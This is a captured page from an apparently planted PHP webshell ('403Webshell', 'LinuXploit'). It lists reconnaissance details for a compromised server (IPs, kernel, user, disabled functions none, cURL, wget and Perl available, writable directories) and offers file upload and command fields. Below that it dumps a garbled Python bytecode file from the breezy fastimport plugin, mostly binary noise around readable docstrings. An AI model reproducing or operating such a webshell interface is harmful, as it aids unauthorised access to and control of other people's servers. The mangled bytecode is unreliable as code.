403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/plugins/fastimport/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/plugins/fastimport/__pycache__/idmapfile.cpython-313.pyc
�

p��g����SrSSKrSrSrg)z0Routines for saving and loading the id-map file.�Nc��[US5nUHnURSX1U4-5 M SSS5 g!,(df   g=f)aSave the mapping of commit ids to revision ids to a file.

Throws the usual exceptions if the file cannot be opened,
written to or closed.

:param filename: name of the file to save the data to
:param revision_ids: a dictionary of commit ids to revision ids.
�wbs%s %s
N)�open�write)�filename�revision_ids�f�	commit_ids    �E/usr/lib/python3/dist-packages/breezy/plugins/fastimport/idmapfile.py�save_id_maprs?��
�h��	��%�I�
�G�G�J�)�)�-D�!E�E�F�&�
�	�	�s	�"8�
Ac��0nSn[RRU5(aD[U5nUH'nUSSR	SS5nUSXS'US-
nM) SSS5 X4$X4$!,(df   X4$=f)a�Load the mapping of commit ids to revision ids from a file.

If the file does not exist, an empty result is returned.
If the file does exists but cannot be opened, read or closed,
the normal exceptions are thrown.

NOTE: It is assumed that commit-ids do not have embedded spaces.

:param filename: name of the file to save the data to
:result: map, count where:
  map = a dictionary of commit ids to revision ids;
  count = the number of keys in map
rN���� �)�os�path�existsr�split)r�result�countr	�line�partss      r�load_id_mapr#s����F�
�E�	�w�w�~�~�h���
�(�^�q����S�b�	����Q�/��#(��8��Q�x� ���
����
�=��6�=���^�
�=��s�.A0�0
B)�__doc__rrr��r�<module>rs�� 7�	�G�r

Youez - 2016 - github.com/yon3zu
LinuXploit